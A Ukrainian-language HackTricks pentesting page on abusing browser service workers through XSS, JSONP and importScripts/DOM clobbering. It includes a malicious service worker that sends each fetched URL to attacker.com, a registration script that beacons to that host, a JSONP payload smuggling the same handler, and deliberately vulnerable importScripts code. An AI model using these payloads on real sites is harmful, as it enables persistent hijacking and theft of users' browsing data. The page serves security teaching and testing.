Abusing Service Workers

Підтримка HackTricks

Основна інформація

Службовий працівник — це скрипт, який виконується вашим браузером у фоновому режимі, окремо від будь-якої веб-сторінки, що дозволяє використовувати функції, які не потребують веб-сторінки або взаємодії з користувачем, тим самим покращуючи можливості офлайн-роботи та фонової обробки. Докладну інформацію про службових працівників можна знайти тут. Зловмисники можуть отримати контроль над взаємодією жертви з усіма сторінками в межах цього домену, експлуатуючи службових працівників у вразливому веб-домені.

Перевірка наявних службових працівників

Існуючі службові працівники можуть бути перевірені в розділі Службові працівники вкладки Застосунок у Інструментах розробника. Інший метод — відвідати chrome://serviceworker-internals для більш детального перегляду.

Push-сповіщення

Дозволи на push-сповіщення безпосередньо впливають на здатність службового працівника спілкуватися з сервером без прямої взаємодії з користувачем. Якщо дозволи відхилені, це обмежує потенціал службового працівника становити постійну загрозу. Навпаки, надання дозволів підвищує ризики безпеки, дозволяючи отримувати та виконувати потенційні експлойти.

Атака створення службового працівника

Щоб експлуатувати цю вразливість, вам потрібно знайти:

  • Спосіб завантажити довільні JS файли на сервер і XSS для завантаження службового працівника завантаженого JS файлу

  • Вразливий JSONP запит, де ви можете маніпулювати виходом (з довільним JS кодом) і XSS для завантаження JSONP з корисним навантаженням, яке завантажить шкідливого службового працівника.

У наступному прикладі я збираюся представити код для реєстрації нового службового працівника, який буде слухати подію fetch і надсилати на сервер зловмисника кожну отриману URL-адресу (це код, який вам потрібно завантажити на сервер або завантажити через вразливу JSONP відповідь):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

І це код, який зареєструє робітника (код, який ви повинні мати можливість виконати, зловживаючи XSS). У цьому випадку GET запит буде надіслано на сервер зловмисника, повідомляючи, чи була реєстрація служби робітника успішною чи ні:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

У випадку зловживання вразливим JSONP кінцевим пунктом ви повинні помістити значення всередину var sw. Наприклад:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Є C2, присвячений експлуатації Service Workers, під назвою Shadow Workers, який буде дуже корисним для зловживання цими вразливостями.

Директива кешу на 24 години обмежує термін дії шкідливого або скомпрометованого service worker (SW) максимум 24 години після виправлення вразливості XSS, за умови онлайн-статусу клієнта. Щоб мінімізувати вразливість, оператори сайтів можуть знизити час життя (TTL) скрипта SW. Розробникам також рекомендується створити kill-switch для service worker для швидкої деактивації.

Зловживання importScripts у SW через DOM Clobbering

Функція importScripts, викликана з Service Worker, може імпортувати скрипт з іншого домену. Якщо ця функція викликається з використанням параметра, який зловмисник міг би змінити, він зможе імпортувати JS-скрипт зі свого домену і отримати XSS.

Це навіть обходить захист CSP.

Приклад вразливого коду:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

З DOM Clobbering

Для отримання додаткової інформації про те, що таке DOM Clobbering, перегляньте:

Dom Clobbering

Якщо URL/домен, який SW використовує для виклику importScripts, знаходиться всередині HTML-елемента, можливо модифікувати його через DOM Clobbering, щоб змусити SW завантажити скрипт з вашого власного домену.

Для прикладу цього перегляньте посилання на довідку.

Посилання

Support HackTricks

Last updated